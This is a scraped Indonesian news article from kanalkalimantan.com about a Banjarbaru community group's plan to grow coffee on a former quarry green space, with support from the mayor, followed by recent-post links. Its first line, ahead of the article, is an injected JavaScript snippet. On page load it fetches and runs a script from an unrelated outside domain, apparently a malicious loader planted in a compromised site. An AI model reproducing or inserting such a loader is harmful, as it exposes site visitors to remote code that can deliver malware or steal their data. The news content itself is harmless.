(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Ingin Jadi Barometer Kopi Banua, Pokmas Kampung Kopi Siap Budidaya Tanaman Kopi di RTH Bekas Galian C


KANALKALIMANTAN.COM, BANJARBARU – Kopi menjadi salah satu komoditas yang diunggulkan di Kalimantan Selatan, banyak petani kopi di Kalsel sudah menjual olahan kopi ke beberapa daerah di Indonesia.

Namun, khususnya di daerah Banjarbaru, petani kopi di kota berjuluk Idaman masih kekurangan lahan untuk budidaya tanaman itu.

Hal ini disampaikan petani kopi yang juga Ketua Kelompok Masyarakat (Pokmas) Kampung Kopi, Dwi Putra Kurniawan. Dwi mengungkapkan keinginannya untuk membudidayakan tanaman kopi di salah satu Ruang Terbuka Hijau (RTH) yang ada di Kelurahan Bangkal, Kota Banjarbaru.

“Kami sudah melakukan survei bersama Dinas Lingkungan Hidup (DLH) Kota Banjarbaru dan mulai mencoba menanam di RTH sebagai kebun kopi terluas di Ibu Kota Provinsi Kalsel,” ungkapnya, Rabu (23/11/2022).

 

 

Baca juga: Program RT Mandiri Pokmas Kampung Kopi, Beli 4 Alat Pengolah, Target Giling 5-6 Ton Biji Kopi 

Dilanjutkannya, lahan kebun kopi yang direncanakan pihaknya merupakan bekas galian C.

“Nantinya kalau kami diizinkan menamam kopi di RTH-RTH yang ada di Banjarbaru, Kota Banjarbaru akan kuat pada komoditi kopinya,” katanya.

Disamping itu, kata Dwi masyarakatnya jua mendapatkan manfaatnya dengan adanya komoditi kopi di RTH tersebut.

“Nanti tinggal mencari pola kerjasamanya, pelibatan masyarakat sekitar RTH yang akan dibicarakan secara teknis dengan pengelola aset Pemko,” ujarnya.

Gayung bersambut dari Wali Kota Banjarbaru, HM Aditya Mufti Ariffin mengatakan Pemko Banjarbaru sangat menyambut baik rencana budidaya kopi di RTH Kahati di Kelurahan Bangkal untuk melestarikan tanaman hayati di Banjarbaru.

“Kami sangat terbuka sekali, jadi kawan-kawan Pokmas Kampung Kopi yang ingin menanam kopi, kami sangat terbuka, sehingga upaya penghijauan di Taman Kahati segera tercapai,” katanya.

Dirinya juga menginginkan agar Kota Banjarbaru menjadi pintu gerbang dari komoditi kopi di Kalsel.

Baca juga: Satpol PP Banjarbaru Gerebek Ruko Penyedia Miras di Guntung Manggis

“Dengan banyaknya usaha kopi, Banjarbaru menjadi barometer perkopian di Kalsel, Kalau bisa Banjarbaru menjadi pintu keluar masuknya kopi di Kalimantan Selatan,” haranya.

Dalam kesempatan ini Wali Kota Banjarbaru melakukan peninjauan terhadap Pokmas Kampung Kopi yang menjadi penerima Program RT Mandiri. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.